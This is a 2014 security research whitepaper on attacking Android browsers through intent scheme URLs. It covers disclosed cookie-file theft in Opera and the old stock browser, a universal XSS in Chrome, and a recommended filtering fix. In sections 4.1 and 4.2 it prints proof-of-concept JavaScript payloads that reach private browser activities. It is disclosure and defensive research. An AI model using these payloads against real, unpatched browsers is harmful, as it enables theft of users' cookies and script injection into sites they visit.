Whitepaper – Attacking Android browsers via intent scheme URLs

Takeshi Terada / Mitsui Bussan Secure Directions, Inc.

March 2014

1. Introduction

Intent scheme URL is a special type of URL which enables Web pages to launch activities of installed Android apps. Most of the major browsers for Android support intent scheme URLs.

In general, intent scheme URL brings security risk, as it gives malicious Web pages a chance to conduct intent-based attacks against installed apps. Therefore, browsers takes measures to reduce the risk but these measures are not necessarily enough.

In this report, we will first explain what an intent scheme URL is, then we present three examples of Android browser's vulnerability related to intent scheme URL (including cookie file theft and universal XSS), and lastly we show the countermeasure for these vulnerabilities.

2. About intent scheme URL

The usage example of intent scheme URL is as the following.

```
1: <script>
2: location.href = "intent:mydata1#Intent;action=myaction1;type=text/plain;end";
3: </script>
```

If browsers that support intent scheme URL load the Web page, they generate an intent object based on the URL, and then try to launch activities by the intent. This browsers' process can be divided into three steps:

Step1. Parsing URL

The first task for browser is to generate intent object from intent scheme URL. For this task,

browsers use android.content.Intent.parseUri() of the Android framework.

```
1: Intent intent = Intent.parseUri(uri);
```

In short, this method parses *name=value* formed attributes such as "action=...", "category=..." and "launchFlags=..." in the fragment part of the URL, then generates an intent object with these attributes.

As for the above example, the intent object generated by the method has "myaction1" action and "text/plain" type.

In general, URL with custom scheme (e.g. blahscheme://host/path) is often used to launch an activity from Web pages. Compared to custom scheme, intent scheme has two merits. One of which is that intent scheme does not require target app to define scheme in the manifest, and the other merit is that it can contain intent extras in URL. An example of intent scheme URL with extras is shown below.

```
intent://foobar/#Intent;action=myaction1;type=text/plain;S.xyz=123;end
```

As for this example, the intent object to be generated has an extra entry whose name is "xyz" and value is "123". The first character of the name part represents type of the extra value, e.g. "S" means string, and "i" means integer.

For more details on the syntax of intent scheme URL, see source code of Intent.parseUri() [1] or Chrome document [2]. Unfortunately, Android API documents do not explain much about this method, so it is not likely that intent scheme URL is widely known among app developers and security researchers.

Step2. Filtering intent

For security, most browsers filter intent object generated in step1. The filter is a protection against intent-based attacks using intent scheme URL originated from untrusted Web pages. Each browser uses its own filter, and we have found that several of them are insufficient or even non-existent. Three examples of such defect are explained later in this paper.

Step3. Launching activity

The final task for browsers is to launch activity with the intent filtered in step2. Browsers normally use Context#startActivityIfNeeded() or Context#startActivity() for this task.

As already mentioned, intent scheme URL is supported by most major browsers.

Browser	Intent Scheme Support	App Package Name	Version
Old Stock Browser	✓	com.android.browser	(for Android 4.2.2)
Chrome for Android	✓	com.android.chrome	30.0.1599.92
Opera browser for Android	✓	com.opera.browser	16.0.1212.64462
Samsung Browser	✓	com.sec.android.app.sbrowser	1.0 (on Galaxy S4)
Firefox for Android	－	org.mozilla.firefox	26.0

As shown in above table, browsers except for Firefox support intent scheme URL.

3. Attack scenarios

There are two attack scenarios utilizing intent scheme URL.

Type1. Attacks against browser apps

Intent scheme URL can be used to attack browser app. The important thing is that attacker's Web pages can send intent, not only to public activities, but also private (not exported) activities of the browser app. It is possible because the sender of the intent is just the browser app itself.

We present several real examples of this type in the next section.

Type2. Attacks against any installed app

Intent-based vulnerabilities are normally exploitable only from installed malicious apps. However, by utilizing intent scheme URL, Web pages that reside in browser may be able to succeed intent-based attacks against installed apps. In other words, intent scheme URL may upgrade local exploits to those exploitable from remote Web pages.

We used this technique at Mobile Pwn2Own 2013 contest held in Tokyo, to compromise Samsung Galaxy S4 from malicious Web page [3].

4. Vulnerabilities

In our research, we discovered three browser vulnerabilities exploitable via intent scheme URL. The cause of these vulnerabilities is in filtering step (described in "Step2. Filtering intent" in section 2). The outlines of these vulnerabilities are explained below.

4.1. Opera mobile for Android cookie theft

Opera browser's filtering step is completely missing. Therefore, Web pages in Opera are able to launch any private activity of Opera via intent scheme URL. An example of the attack code is as the following.

```
1: <script>
2: location.href = "intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;c
   omponent=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end";
3: </script>
```

By using this code, attacker can launch "com.admarvel.android.ads.AdMarvelActivity" activity which is a private activity of Opera browser. The attack URL contains a string extra "url=file:///data/data/com.opera.browser/app_opera/cookies" which is the location of the file storing cookies of Opera browser.

AdMarvelActivity does load the URL (pointing to the cookie file) in JavaScript-enabled WebView and render it as HTML. Thus, malicious HTML/JavaScript in the cookie file is executed in the context of the cookie file. It means that attacker can steal whole content of the cookie file, if he taints the cookie file beforehand by the code as shown below.

```
1: <script>
2: document.cookie = "x=<script>(javascript code)</scr"+"ipt>; path=/blah; expires=Tue, 01-Jan-20
   30 00:00:00 GMT";
3: </script>
```

We reported this vulnerability with working PoC code to IPA (Japanese incorporated administrative agency for information-technology promotion) on November 2013. JPCERT/CC (Japanese CSIRT organization working with IPA) reported the issue to the vendor, and the fix from the vendor was released on January 2014. CVE-2014-0815 was assigned to this issue [4].

4.2. Chrome for Android UXSS (Universal XSS)

Attack against Chrome is a bit more complex. Chrome for Android contains Java code like the following.

```
1: Intent intent = Intent.parseUri(uri);
2: intent.addCategory("android.intent.category.BROWSABLE");
3: intent.setComponent(null);
4: context.startActivityIfNeeded(intent, -1);
```

In the second line, Chrome limits launched activities to those with BROWSABLE category. In the third line Chrome forbids explicit call. These limitations are measures against intent-based attacks.

However, these measures are insufficient and we can bypass these via "selector intent" which is a bit explained in API document [5].

Selector intent is a mechanism introduced in Android API level 15 (Android 4.0.3). It is an additional intent object that can be attached to a main intent object. If the main intent has a selector intent, Android framework resolves the destination of the intent not by the main intent but by its selector intent.

Intent scheme URL can contain selector intent as shown below.

```
intent:#Intent;S.XXX=123;SEL;component=com.android.chrome/.xyz;end
```

"SEL" part of the URL is the indicator of selector intent.

Chrome for Android delivers this intent to com.android.chrome/.xyz component, even if the component does not have the BROWSABLE category. Malicious Web pages can utilize this to conduct attacks to Chrome's private activities (including those without BROWSABLE category).

Now the issue is whether Chrome has private (or public) activities that can be used for significant intent-based attacks. During our research, we found that WebappActivity can be used to conduct UXSS (Universal XSS) attacks. An example of attack in JavaScript code is shown below.

```
1: <script>
2: // open target web page (http://victim.example.jp/) in WebAppActivity0
3: location.href = "intent:#Intent;S.webapp_url=http://victim.example.jp;l.webapp_id=0;SEL;compo
   nent=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";
4:
5: // a few seconds later, inject javascript payload into target web page
6: setTimeout(function() {
7:     location.href = "intent:#Intent;S.webapp_url=javascript:(malicious javascript code);l.weba
   pp_id=1;SEL;component=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivit
   y0;end";
8:     }, 2000);
9: </script>
```

In the above code, the malicious Web page explicitly launches "com.google.android.apps-.chrome.webapps.WebappActivity0" twice. This activity is a private activity, and it does not have the BROWSABLE category, but the Web page can launch this activity by using intent scheme URL with selector intent.

The first launch in our PoC forces WebappActivity0 to load target Web page, and the second launch injects malicious JavaScript code into the target Web page. This means that attacker can inject his JavaScript payload into arbitrary http/https Web pages (Universal XSS).

As far as we know, an old version of Chrome for Android (v.30.0.1599.92) is vulnerable to this UXSS attack. Newer versions are no longer vulnerable, because WebappActivity was modified to open the second URL in a newly created tab. However potential risks remains, because current version of Chrome still does not filter selector intent so that malicious Web pages can launch private activities of Chrome for Android.

4.3. Old stock browser cookie theft

The Android stock browser (com.android.browser) has a similar vulnerability. Like Chrome for Android, the stock browser does not properly filter selector intent, so that attacker's Web page can launch arbitrary activities of the browser.

This defect can be utilized for cookie file theft attack like that for Opera browser. But recent models of Android devices (>= Android 4.3) may not be affected, since old stock browser is no longer pre-installed on recent devices.

5. Conclusion

In this report, we explained the mechanism of attacks using intent scheme URL, and three vulnerabilities of Android browsers. As shown in section 4, improper handling of intent scheme URL may result in significant vulnerabilities such as cookie file theft and UXSS from remote Web pages.

The measure for such type of attack is to filter intent object (which is converted from intent scheme URL) more strictly, as shown in the following Java code.

```
// convert intent scheme URL to intent object
Intent intent = Intent.parseUri(uri);
// forbid launching activities without BROWSABLE category
intent.addCategory("android.intent.category.BROWSABLE");
// forbid explicit call
intent.setComponent(null);
// forbid intent with selector intent
intent.setSelector(null);
// start the activity by the intent
context.startActivityIfNeeded(intent, -1);
```

Finally, we would like to touch possible risks in other browser apps. As you know, there are many browsers for Android in the world, but we investigated only those listed in section 2. Browsers not mentioned in this paper might be vulnerable to attacks using intent scheme URL, as many browsers seem to be developed based on the vulnerable old stock browser.

6. References

[1] https://android.googlesource.com/platform/frameworks/base/+/android-4.3.1_r1/core/java/android/content/Intent.java

[2] https://developers.google.com/chrome/mobile/docs/intents

[3] http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Local-Japanese-team-exploits-mobile-applications-to-install/ba-p/6267417

[4] http://jvndb.jvn.jp/en/contents/2014/JVNDB-2014-000014.html

[5] http://developer.android.com/reference/android/content/Intent.html#setSelector(android.content.Intent)